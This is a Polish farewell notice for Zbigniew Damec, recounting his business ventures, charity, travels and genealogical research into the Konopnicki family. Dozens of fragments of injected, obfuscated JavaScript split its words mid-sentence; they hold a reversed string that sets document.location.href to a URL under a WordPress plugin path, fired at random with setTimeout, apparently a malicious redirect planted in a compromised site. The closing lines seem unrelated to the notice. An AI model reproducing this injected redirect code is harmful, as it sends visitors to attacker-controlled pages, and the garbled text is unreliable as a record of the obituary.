Pożegnanie

Dnia 5 stycznia 2007 r. zmarł Zbigniew Damec, syn Rutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dolfa i Ewy, absolwent Wydziału Prawa UW, znakomity kolega, współpracownik, mąż i ojciec, mieszkaniec Dąbrowy Leśnej od 1995 r.

Zbyszek był człowiekiem wielkiego serca i wielkiego czynu. Kochał życie i czerpał z niego pełną piersią. Zawsze tryskający energią, obdarowywał i inspirował nią innych. Solidny i niezawodny, pełen pogody ducha, optymizmu i sympatii, zawsze wrażliwy na ludzkie sprawy. Nigdy nie stawał w miejscu. Jako biznesmen czynnie działał w wielu branżach ostatnio m.in. butoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowlanej, htoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andlowej, wnętrzarskiej i szklanej. Jak mawiał: „Najbardziej lubię zakładać nowe przedsiębiorstwa i zostawiać je dalej młodym, by mogli kontynuować w nich pracę. Mnie samego pociąga sam proces tworzenia, pracy nad powstaniem czegoś nowego.” Zbyszek ciągle planował, jego myśli zawsze wybiegały w przyszłość. Był wiecznym niepoprawnym marzycielem, który nie tylko marzył, ale i ku zdumieniu otoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczenia realizował swoje najbardziej nawet wydawałoby się niemożliwe toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do spełnienia marzenia.

Jednocześnie wspierał wszystkich, którzy potrzebowali jego pomocy. Na przestrzeni lat On i Jego przedsiębiorstwa pomogły wielu fundacjom, organizacjom i oddziałom szpitali. Chętnie również służył swą radą i toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doświadczeniem, młodym ludziom pomagał w lepszym starcie. Dziś ludzie ci mówią o Nim nie tylko jako o swym wielkim autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torytecie, ale i swym przybranym Ojcu. Bardzo cenił pracowitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość i pomysłowość, i chętnie pomagał wszystkim z inicjatywą. Angażował się w rozmaite przedsięwzięcia: sportoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towe, charytatywne, edukacyjne…

Przez ostatnich kilka lat całkowicie oddany był wspieraniu i promowaniu twórczości znanego akwarelisty i portrecisty Zbigniewa Szczepanka, ucznia Franciszka Starowiejskiego.

Zbyszek uwielbiał podróże, być może pasję tę odziedziczył po swym ojcu Rutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dolfie, znanym gdyńskim podróżniku, taterniku i przedsiębiorcy. Gdziekolwiek był, zawsze musiał wdrapać się na najwyższą górę, na najwyższą wieżę. Cieszył się każdym obejrzanym zabytkiem, każdym nowym witoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dokiem. Od dziecka interesował się architekturą, zwłaszcza katedrami i starymi kościołami. Miał duszę ztoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobywcy, a podróże były jedną z form jego ztoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobywania świata.

Przez wiele lat pracował nad poznaniem genealogii i histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torii swojej rodziny. Udało Mu się odtworzyć jej drzewo genealogiczne toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do XV w. Wydał książkę poświęconą histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torii rodziny Konop-niccy Herbu Jastrzębiec. Dzieje rodu. Jednocześnie odszukał też swych żyjących krewnych z całego świata, a w Wigilię 1998 r. zorganizował Wielki Zjazd Rodziny Konopnickich w Szklarskiej Porębie. Na zjazd przybyła cała rodzina ze strony jego matki Ewy. Wartoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodać, że pisarka Maria Konopnicka również pochodziła z rodziny Zbyszka.

Jego energia i ratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dość życia sprawiły, iż wierzyliśmy, że zawsze będzie z nami. Odszedł nagle, zostawiając nas w głębokim smutku i żalu. Będzie Go nam bardzo brakowało, ale dał nam też ogromną siłę, wszystkich nas tak wiele nauczył. Pokazał, jak można w życiu działać, jak być aktywnym, jak spełniać swoje marzenia.

Dziękujemy Ci Zbyszku! Rodzina i Przyjaciele. Na wszelki wypadek. Od tego trzeba zacząć. Dopiero później będzie czas, na jakiś referenda, dyskusje, akcje i plany.